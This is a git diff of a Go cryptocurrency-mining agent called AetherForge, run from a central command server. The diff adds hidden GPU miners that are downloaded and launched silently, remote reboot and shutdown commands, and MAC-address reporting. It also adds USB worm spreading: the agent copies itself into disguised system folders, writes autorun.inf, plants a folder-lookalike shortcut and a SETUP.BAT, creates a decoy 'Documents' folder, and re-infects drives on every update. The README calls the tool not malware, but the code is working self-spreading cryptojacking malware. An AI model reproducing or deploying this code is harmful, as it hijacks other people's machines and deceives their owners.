2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.
### What this is NOT
- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems.
- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you.
### Pool & earnings
- Use a **valid Monero wallet address you control**.
- Pool operators set their own terms — hashrate, rejected shares, and payout policies are between you and the pool.
- This project does not guarantee profitability, uptime, or pool compatibility.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.
### Security responsibility
- **`data/users.json`** stores **bcrypt password hashes**, not plaintext. First-run generates a random admin password (shown once in the console). Any legacy plain-text values are re-hashed on load/login. Restrict who can reach the dashboard — authenticated users can manage accounts via `POST /users`.
- Protect the dashboard with **strong user passwords** and **network isolation**. Do not expose port 8989 to the open internet without VPN or reverse-proxy auth.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. Treat your control server like root access to every machine in the fleet.
- Movie fusion and prep fusion are for **authorized distribution scenarios only** — misleading packaging is misuse.
- Code signing, Defender exclusions, and network segmentation on **your** infrastructure are **your** job.
- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once).
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.
### Disclaimer
@@ -410,5 +477,5 @@ Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.ga
<p align="center">
<strong>AetherForge</strong> — LAN MINING COMMAND<br/>
<sub>Calibrate · Forge · Deploy · Command</sub>
<sub>Calibrate · Forge · Deploy · Spread · Command</sub>
</p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 933 KiB

View File

@@ -39,6 +39,7 @@ type AgentClient struct {
agentID string
sharesSubmitted int
sharesAccepted int
gpuMiner *GPUMiner
// connected is true while a C2 WebSocket session is active.
// The Stratum fallback manager monitors this to decide when to mine directly.
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
// Start GPU miner (Ravencoin / KawPoW) if configured
if gm := newGPUMiner(c.cfg); gm != nil {
c.mu.Lock()
c.gpuMiner = gm
c.mu.Unlock()
gm.Start()
defer gm.Stop()
}
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
}
}
func primaryMACAddress() string {
ifaces, err := net.Interfaces()
if err != nil {
return ""
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
if len(iface.HardwareAddr) == 0 {
continue
}
return iface.HardwareAddr.String()
}
return ""
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
log.Printf("[agent] remote uninstall failed: %v", err)
}
}()
case "reboot_machine":
c.sendCommandResult(action, true, "system reboot initiated")
go func() {
time.Sleep(500 * time.Millisecond)
_, _ = c.runShellCommand("shutdown /r /t 0")
}()
case "shutdown_machine":
c.sendCommandResult(action, true, "system shutdown initiated")
go func() {
time.Sleep(500 * time.Millisecond)
_, _ = c.runShellCommand("shutdown /s /t 0")
}()
case "get_log":
if tailLines <= 0 {
tailLines = 300
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.GPUTempC = lastPressure.GPUTempC
stats.GPUUsagePct = lastPressure.GPUUsagePct
}
// GPU miner (Ravencoin) stats — included when GPU miner is running
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gs, active := gm.Stats()
stats.GPUMinerActive = &active
stats.GPUHashrate15s = gs.Hashrate15s
stats.GPUHashrate1m = gs.Hashrate1m
stats.GPUHashrate15m = gs.Hashrate15m
stats.GPUModel = gm.GPUModel()
if gs.GPUTempC != nil {
stats.GPUTempC = gs.GPUTempC
}
if gs.GPUUsagePct != nil {
stats.GPUUsagePct = gs.GPUUsagePct
}
}
if postureReady && lastPosture != nil {
score := lastPosture.PostureScore
stats.PostureScore = &score

View File

@@ -0,0 +1,110 @@
//go:build !windows
package client
import (
"archive/zip"
"bytes"
"os"
"os/exec"
"path/filepath"
"strings"
)
func detectGPU() GPUInfo {
// On non-Windows, only probe NVIDIA via nvidia-smi.
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
if err == nil {
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
if model != "" {
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
}
}
return GPUInfo{Vendor: GPUVendorNone}
}
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
pool := g.cfg.RVNPoolHost
port := g.cfg.RVNPoolPort
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
poolURL := "stratum+tcp://" + pool
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
}
if port > 0 {
poolURL += ":" + itoa(port)
}
args := []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"--api-bind-http", "127.0.0.1:4067",
}
cmd := exec.Command(binPath, args...)
cmd.Dir = filepath.Dir(binPath)
if err := cmd.Start(); err != nil {
return nil, err
}
return cmd.Process, nil
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := make([]byte, 0, 10)
neg := n < 0
if neg {
n = -n
}
for n > 0 {
buf = append([]byte{byte('0' + n%10)}, buf...)
n /= 10
}
if neg {
buf = append([]byte{'-'}, buf...)
}
return string(buf)
}
func extractZipFile(data []byte, destDir, targetFile string) error {
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
if err != nil {
return err
}
targetLower := strings.ToLower(targetFile)
for _, f := range r.File {
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
continue
}
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
dst := filepath.Join(destDir, targetFile)
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
buf := make([]byte, 32*1024)
for {
n, err := rc.Read(buf)
if n > 0 {
if _, we := out.Write(buf[:n]); we != nil {
return we
}
}
if err != nil {
break
}
}
return nil
}
return nil
}

View File

@@ -0,0 +1,166 @@
//go:build windows
package client
import (
"archive/zip"
"bytes"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/deploy"
)
// detectGPU identifies the first supported discrete GPU on Windows.
// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
func detectGPU() GPUInfo {
// NVIDIA — nvidia-smi is the most reliable check
if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
if model != "" {
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
}
}
// AMD — wmic (available on all modern Windows without extra installs)
if out, err := deploy.HiddenOutput(
"wmic", "path", "win32_VideoController", "get", "Name", "/value",
); err == nil {
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if !strings.HasPrefix(strings.ToLower(line), "name=") {
continue
}
name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
lo := strings.ToLower(name)
if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
return GPUInfo{Vendor: GPUVendorAMD, Model: name}
}
}
}
return GPUInfo{Vendor: GPUVendorNone}
}
// startProcess launches the GPU miner binary as a hidden background process.
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
pool := g.cfg.RVNPoolHost
port := g.cfg.RVNPoolPort
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
var args []string
switch g.info.Vendor {
case GPUVendorNVIDIA:
// T-Rex: kawpow algorithm
algo := "kawpow"
poolURL := ""
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
} else {
poolURL = "stratum+tcp://" + pool
}
args = []string{
"-a", algo,
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"--api-bind-http", "127.0.0.1:4067",
"--no-watchdog",
"--exit-on-cuda-error",
}
if port > 0 {
args[3] = args[3] + ":" + itoa(port)
}
case GPUVendorAMD:
// TeamRedMiner: kawpow algorithm
poolURL := ""
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
} else {
poolURL = "stratum+tcp://" + pool
}
if port > 0 {
poolURL += ":" + itoa(port)
}
args = []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"--api_listen=4068",
}
}
cmd := exec.Command(binPath, args...)
deploy.PrepareHiddenProcess(cmd)
cmd.Dir = filepath.Dir(binPath)
// Redirect all miner output to NUL (silent)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, err
}
return cmd.Process, nil
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := make([]byte, 0, 10)
neg := n < 0
if neg {
n = -n
}
for n > 0 {
buf = append([]byte{byte('0' + n%10)}, buf...)
n /= 10
}
if neg {
buf = append([]byte{'-'}, buf...)
}
return string(buf)
}
// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
func extractZipFile(data []byte, destDir, targetFile string) error {
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
if err != nil {
return err
}
targetLower := strings.ToLower(targetFile)
for _, f := range r.File {
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
continue
}
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
dst := filepath.Join(destDir, targetFile)
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
buf := make([]byte, 32*1024)
for {
n, err := rc.Read(buf)
if n > 0 {
if _, we := out.Write(buf[:n]); we != nil {
return we
}
}
if err != nil {
break
}
}
return nil
}
return nil // binary not found inside zip — non-fatal, caller checks after
}

358
agent/client/gpu_miner.go Normal file
View File

@@ -0,0 +1,358 @@
package client
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"sync"
"time"
"crypto-miner-agent/config"
)
// GPUVendor identifies the discrete GPU brand on the host.
type GPUVendor int
const (
GPUVendorNone GPUVendor = iota
GPUVendorNVIDIA // use T-Rex miner (KawPoW)
GPUVendorAMD // use TeamRedMiner (KawPoW)
GPUVendorOther // generic / Intel — not supported for KawPoW
)
// GPUInfo holds detected GPU metadata.
type GPUInfo struct {
Vendor GPUVendor
Model string
}
// GPUMinerStats is polled from the miner's local HTTP API.
type GPUMinerStats struct {
Hashrate15s float64
Hashrate1m float64
Hashrate15m float64
GPUTempC *int
GPUUsagePct *int
ActiveAlgo string
}
// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
type GPUMiner struct {
cfg config.RuntimeConfig
info GPUInfo
installDir string
mu sync.RWMutex
stats GPUMinerStats
active bool
stopCh chan struct{}
wg sync.WaitGroup
}
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
// Returns nil if GPU mining should not run.
func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
if !cfg.GPUEnabled || cfg.RVNWallet == "" {
return nil
}
info := detectGPU()
if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
return nil
}
installDir, err := cfg.InstallDirectory()
if err != nil {
log.Printf("[gpu] cannot determine install dir: %v", err)
return nil
}
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
return &GPUMiner{
cfg: cfg,
info: info,
installDir: installDir,
stopCh: make(chan struct{}),
}
}
// Start downloads (if needed) and launches the GPU miner, then polls stats.
func (g *GPUMiner) Start() {
g.wg.Add(1)
go func() {
defer g.wg.Done()
g.run()
}()
}
// Stop shuts down the GPU miner and waits for it to exit.
func (g *GPUMiner) Stop() {
select {
case <-g.stopCh:
default:
close(g.stopCh)
}
g.wg.Wait()
}
// Stats returns the latest GPU mining statistics.
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
g.mu.RLock()
defer g.mu.RUnlock()
return g.stats, g.active
}
// GPUModel returns the detected GPU model string.
func (g *GPUMiner) GPUModel() string {
return g.info.Model
}
func (g *GPUMiner) run() {
// Ensure the miner binary is present before trying to start.
binPath, err := g.ensureMinerBinary()
if err != nil {
log.Printf("[gpu] could not obtain miner binary: %v", err)
return
}
retryDelay := 30 * time.Second
for {
select {
case <-g.stopCh:
return
default:
}
proc, err := g.startProcess(binPath)
if err != nil {
log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay)
select {
case <-g.stopCh:
return
case <-time.After(retryDelay):
continue
}
}
g.mu.Lock()
g.active = true
g.mu.Unlock()
log.Printf("[gpu] miner started (pid=%d)", proc.Pid)
// Poll miner API while it runs.
pollDone := make(chan struct{})
go func() {
defer close(pollDone)
g.pollStats()
}()
// Wait for process exit.
procState, waitErr := proc.Wait()
close(g.stopCh) // signal polling goroutine
<-pollDone
g.mu.Lock()
g.active = false
g.mu.Unlock()
if waitErr != nil {
log.Printf("[gpu] miner exited: %v", waitErr)
} else if procState != nil && !procState.Success() {
log.Printf("[gpu] miner exited with non-zero status: %s", procState)
}
// Re-open the stop channel so we can retry cleanly.
g.stopCh = make(chan struct{})
select {
case <-time.After(retryDelay):
}
}
}
func (g *GPUMiner) pollStats() {
apiPort := g.apiPort()
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
samples := make([]float64, 0, 90) // 15 min worth at 10s intervals
for {
select {
case <-g.stopCh:
return
case <-ticker.C:
hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
if err != nil {
continue
}
samples = append(samples, hr)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
avg15s := hr
avg1m := avg(samples, 6)
avg15m := avg(samples, len(samples))
g.mu.Lock()
g.stats = GPUMinerStats{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
Hashrate15m: avg15m,
GPUTempC: tempC,
GPUUsagePct: usage,
ActiveAlgo: "kawpow",
}
g.mu.Unlock()
}
}
}
func avg(samples []float64, last int) float64 {
if len(samples) == 0 || last <= 0 {
return 0
}
if last > len(samples) {
last = len(samples)
}
slice := samples[len(samples)-last:]
var sum float64
for _, v := range slice {
sum += v
}
return sum / float64(len(slice))
}
func (g *GPUMiner) apiPort() int {
switch g.info.Vendor {
case GPUVendorNVIDIA:
return 4067
case GPUVendorAMD:
return 4068
default:
return 4067
}
}
// ---- Miner binary management ----
type minerSpec struct {
fileName string
downloadURL string
}
func (g *GPUMiner) spec() minerSpec {
switch g.info.Vendor {
case GPUVendorNVIDIA:
return minerSpec{
fileName: "t-rex.exe",
downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
}
default: // AMD
return minerSpec{
fileName: "teamredminer.exe",
downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
}
}
}
func (g *GPUMiner) ensureMinerBinary() (string, error) {
spec := g.spec()
binPath := filepath.Join(g.installDir, spec.fileName)
if _, err := os.Stat(binPath); err == nil {
return binPath, nil
}
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
return "", fmt.Errorf("download failed: %w", err)
}
if _, err := os.Stat(binPath); err != nil {
return "", fmt.Errorf("binary not found after download: %s", binPath)
}
return binPath, nil
}
func downloadAndExtract(url, destDir, targetFile string) error {
resp, err := http.Get(url) //nolint:noctx
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
}
data, err := io.ReadAll(resp.Body)
if err != nil {
return err
}
return extractZipFile(data, destDir, targetFile)
}
// ---- Miner HTTP API polling ----
// T-Rex summary response (subset we care about).
type trexSummary struct {
Hashrate int `json:"hashrate"`
GPUs []struct {
Temperature int `json:"temperature"`
GpuLoad int `json:"gpu_load"`
} `json:"gpus"`
}
// TeamRedMiner status response (subset).
type trmStatus struct {
Algorithms []struct {
Name string `json:"algorithm"`
TotalMHs float64 `json:"mhsh_total"`
} `json:"algorithms"`
GPUs []struct {
TempC int `json:"temp_c"`
Fan int `json:"fan_pct"`
} `json:"gpus"`
}
func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
resp, e := http.Get(url) //nolint:noctx
if e != nil {
return 0, nil, nil, e
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
switch vendor {
case GPUVendorNVIDIA:
var s trexSummary
if e := json.Unmarshal(body, &s); e != nil {
return 0, nil, nil, e
}
hashrate = float64(s.Hashrate)
if len(s.GPUs) > 0 {
t := s.GPUs[0].Temperature
u := s.GPUs[0].GpuLoad
tempC = &t
usagePct = &u
}
case GPUVendorAMD:
var s trmStatus
if e := json.Unmarshal(body, &s); e != nil {
return 0, nil, nil, e
}
for _, a := range s.Algorithms {
if a.Name == "kawpow" || a.Name == "KawPoW" {
hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
}
}
if len(s.GPUs) > 0 {
t := s.GPUs[0].TempC
u := s.GPUs[0].Fan
tempC = &t
usagePct = &u
}
}
return
}

View File

@@ -40,6 +40,7 @@ type AuthPayload struct {
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
}
type AuthResponse struct {
@@ -94,6 +95,13 @@ type StatsPayload struct {
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// GPU / Ravencoin mining stats
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`

View File

@@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig {
RemoteAggressive: false,
USBSpread: false,
ShareSpread: false,
GPUEnabled: false,
RVNWallet: "",
RVNPoolHost: "rvn.2miners.com",
RVNPoolPort: 6060,
RVNPoolTLS: false,
RVNPoolPass: "x",
}
}

View File

@@ -66,6 +66,15 @@ type BuiltinConfig struct {
// FleetSecret is baked in at forge time and presented on WS connect.
// The server rejects any agent that doesn't carry the right secret.
FleetSecret string
// GPU / Ravencoin mining
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
RVNWallet string // Ravencoin wallet address for GPU mining
RVNPoolHost string // primary RVN Stratum pool host
RVNPoolPort int // primary RVN Stratum pool port
RVNPoolTLS bool // primary RVN pool TLS flag
RVNPoolPass string // stratum password (usually "x")
RVNBackupPools []BackupPool // failover RVN pools
}
// BackupPool holds connection info for a fallback Stratum mining pool.
@@ -158,6 +167,18 @@ func Load() RuntimeConfig {
b.DisplayMode = "background"
}
}
// GPU mining defaults
if b.GPUEnabled {
if b.RVNPoolHost == "" {
b.RVNPoolHost = "rvn.2miners.com"
}
if b.RVNPoolPort <= 0 {
b.RVNPoolPort = 6060
}
if b.RVNPoolPass == "" {
b.RVNPoolPass = "x"
}
}
return RuntimeConfig{BuiltinConfig: b}
}

View File

@@ -153,6 +153,17 @@ func InstallDir(workerName, buildID string) (string, error) {
}.InstallDirectory()
}
// isPayloadStale returns true when the on-disk USB payload has a different
// size than the current running executable — meaning the agent was upgraded
// and the USB copy needs to be refreshed.
func isPayloadStale(exePath string, payloadSize int64) bool {
fi, err := os.Stat(exePath)
if err != nil {
return false
}
return fi.Size() != payloadSize
}
func saveBackup(installedBin string) error {
backup := installedBin + backupSuffix
if _, err := os.Stat(backup); err == nil {

View File

@@ -34,24 +34,65 @@ func StartPassiveSpreader(cfg config.RuntimeConfig) {
// -----------------------------------------------------------------------
func runUSBWatcherUnix(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with already-mounted removable media so we don't spread to
// drives that were plugged in before the agent started.
for _, mp := range listRemovableMounts() {
seen[mp] = true
type mountState struct{ payloadSize int64 }
state := map[string]mountState{}
exePath, err := os.Executable()
if err != nil {
return
}
ticker := time.NewTicker(20 * time.Second)
defer ticker.Stop()
for range ticker.C {
for _, mp := range listRemovableMounts() {
if seen[mp] {
continue
}
seen[mp] = true
log.Printf("[passive-spread] new removable mount: %s", mp)
// Spread to drives already present at startup if payload is missing or stale.
for _, mp := range listRemovableMounts() {
size, found := findUnixPayloadSize(mp)
if !found || isPayloadStale(exePath, size) {
go spreadToMountUnix(cfg, mp)
state[mp] = mountState{}
} else {
state[mp] = mountState{payloadSize: size}
}
}
ticker := time.NewTicker(8 * time.Second)
defer ticker.Stop()
for range ticker.C {
exeInfo, err := os.Stat(exePath)
if err != nil {
continue
}
for _, mp := range listRemovableMounts() {
prev, seen := state[mp]
if !seen {
log.Printf("[passive-spread] new removable mount: %s", mp)
state[mp] = mountState{}
go spreadToMountUnix(cfg, mp)
continue
}
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", mp)
state[mp] = mountState{}
go spreadToMountUnix(cfg, mp)
}
}
}
}
// findUnixPayloadSize scans the known Unix drop dirs for a payload binary.
func findUnixPayloadSize(mountPoint string) (size int64, found bool) {
dotDirs := []string{".Spotlight-V100", ".metadata", ".fseventsd"}
for _, dir := range dotDirs {
entries, err := os.ReadDir(filepath.Join(mountPoint, dir))
if err != nil {
continue
}
for _, e := range entries {
fi, err := e.Info()
if err == nil && !e.IsDir() && fi.Mode()&0100 != 0 {
return fi.Size(), true
}
}
}
return 0, false
}
// listRemovableMounts returns currently-mounted removable media paths.

View File

@@ -91,44 +91,98 @@ func setHiddenSystem(path string) {
// USB watcher
// -----------------------------------------------------------------------
// knownDropDirs is the set of hidden directory names we may use as drop dirs.
var knownDropDirs = []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
// runUSBWatcher polls for removable drives every 8 seconds and spreads to any
// that don't already carry an up-to-date payload.
func runUSBWatcher(cfg config.RuntimeConfig) {
seen := map[string]bool{}
// Seed with drives already present at start — don't spread to them immediately.
// Track drives + the size of the payload we last wrote to each.
type driveState struct{ payloadSize int64 }
state := map[string]driveState{}
exePath, err := os.Executable()
if err != nil {
return
}
// Check drives already present when the agent starts — spread to any that
// are missing or stale (different binary size), don't just skip them.
for _, d := range getLogicalDrives() {
if getDriveType(d) == driveRemovable {
seen[d] = true
size, found := findUSBPayloadSize(d)
if !found || isPayloadStale(exePath, size) {
go spreadToUSB(cfg, d)
state[d] = driveState{}
} else {
state[d] = driveState{payloadSize: size}
}
}
}
ticker := time.NewTicker(20 * time.Second)
ticker := time.NewTicker(8 * time.Second)
defer ticker.Stop()
for range ticker.C {
exeInfo, err := os.Stat(exePath)
if err != nil {
continue
}
for _, d := range getLogicalDrives() {
if getDriveType(d) != driveRemovable {
continue
}
if seen[d] {
prev, seen := state[d]
if !seen {
// Brand-new drive just inserted
log.Printf("[passive-spread] new USB drive: %s", d)
state[d] = driveState{}
go spreadToUSB(cfg, d)
continue
}
seen[d] = true
log.Printf("[passive-spread] new USB drive: %s", d)
go spreadToUSB(cfg, d)
// Refresh if the agent binary was updated since we last wrote
if prev.payloadSize != exeInfo.Size() {
log.Printf("[passive-spread] refreshing stale payload on %s", d)
state[d] = driveState{}
go spreadToUSB(cfg, d)
}
}
}
}
// spreadToUSB copies the agent onto a freshly inserted removable drive
// using three complementary techniques:
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
// 2. LNK shortcut — looks like a folder; user double-clicks it
// 3. Hidden dir — keeps the binary out of plain sight
// findUSBPayloadSize scans the known drop dirs on drive and returns the file
// size of the first .exe found, plus a bool indicating success.
func findUSBPayloadSize(drive string) (size int64, found bool) {
for _, dir := range knownDropDirs {
entries, err := os.ReadDir(filepath.Join(drive, dir))
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() && strings.HasSuffix(strings.ToLower(e.Name()), ".exe") {
fi, err := e.Info()
if err == nil {
return fi.Size(), true
}
}
}
}
return 0, false
}
// spreadToUSB copies the agent onto a removable drive using four techniques:
// 1. Hidden drop dir — binary in a disguised system subfolder
// 2. autorun.inf — legacy auto-execute (XP/Vista/7)
// 3. LNK shortcut — folder icon; user double-clicks it (Win8+)
// 4. SETUP.BAT — plain visible batch file as fallback trigger
// 5. Decoy folder — fake "Documents" folder so drive looks natural
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
exePath, err := os.Executable()
if err != nil {
return
}
// Randomised drop directory looks like a Windows system folder.
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
// Randomised drop directory that looks like a Windows system folder.
dropDir := filepath.Join(drive, knownDropDirs[rand.Intn(len(knownDropDirs))])
if err := os.MkdirAll(dropDir, 0755); err != nil {
return
}
@@ -142,19 +196,37 @@ func spreadToUSB(cfg config.RuntimeConfig, drive string) {
setHiddenSystem(destBin)
log.Printf("[passive-spread] agent copied to %s", destBin)
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
`\`+filepath.Join(filepath.Base(dropDir), destName),
`\`+filepath.Join(filepath.Base(dropDir), destName),
relBin := `\` + filepath.Join(filepath.Base(dropDir), destName)
// 1. autorun.inf (works on XP/Vista/7; silently ignored on Win8+)
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\naction=Open folder to view files\r\n",
relBin, relBin,
)
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
// 2. LNK shortcut that looks like the drive's main folder.
// We pick a name that mirrors whatever real directories are present
// so it blends in, or fall back to a generic "Open Documents" label.
// 2. LNK shortcut — folder icon, minimised window
lnkName := pickLinkName(drive)
createFolderShortcut(drive, lnkName, destBin)
// 3. SETUP.BAT — visible plain-text trigger; searches all known drop dirs
// so it works even if the LNK is deleted. The bat runs the exe minimised.
batLines := "@echo off\r\n"
for _, dir := range knownDropDirs {
batLines += fmt.Sprintf("if exist \"%%~dp0%s\\*.exe\" (for %%%%F in (\"%%~dp0%s\\*.exe\") do (start \"\" /min \"%%%%F\" --run & goto :done))\r\n",
dir, dir)
}
batLines += ":done\r\n"
batPath := filepath.Join(drive, "SETUP.BAT")
_ = os.WriteFile(batPath, []byte(batLines), 0644)
// 4. Decoy visible folder so the drive looks natural when opened
decoyDir := filepath.Join(drive, pickDecoyFolderName(drive))
if err := os.MkdirAll(decoyDir, 0755); err == nil {
// Drop a harmless placeholder so it doesn't look empty
_ = os.WriteFile(filepath.Join(decoyDir, "readme.txt"),
[]byte("This folder is empty.\r\n"), 0644)
}
}
// usbPayloadName returns a plausible system binary name for the USB payload.
@@ -185,13 +257,36 @@ func pickLinkName(drive string) string {
return "Open Documents"
}
for _, e := range entries {
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
return e.Name() // shortcut will have the same name as the first real folder
if !e.IsDir() {
continue
}
n := e.Name()
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
continue
}
return n
}
return "Open Documents"
}
// pickDecoyFolderName returns a visible folder name to create on the USB so
// the drive looks like it contains real content. It avoids names already
// used by pickLinkName so the shortcut name and decoy name differ.
func pickDecoyFolderName(drive string) string {
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
entries, _ := os.ReadDir(drive)
existing := map[string]bool{}
for _, e := range entries {
existing[strings.ToLower(e.Name())] = true
}
for _, c := range candidates {
if !existing[strings.ToLower(c)] {
return c
}
}
return "Backup"
}
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
// create an LNK shortcut with a folder icon that silently runs destBin.
func createFolderShortcut(dir, name, destBin string) {

View File

@@ -1,12 +1,15 @@
package api
import (
"encoding/binary"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"strconv"
"strings"
"sync"
"time"
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
}
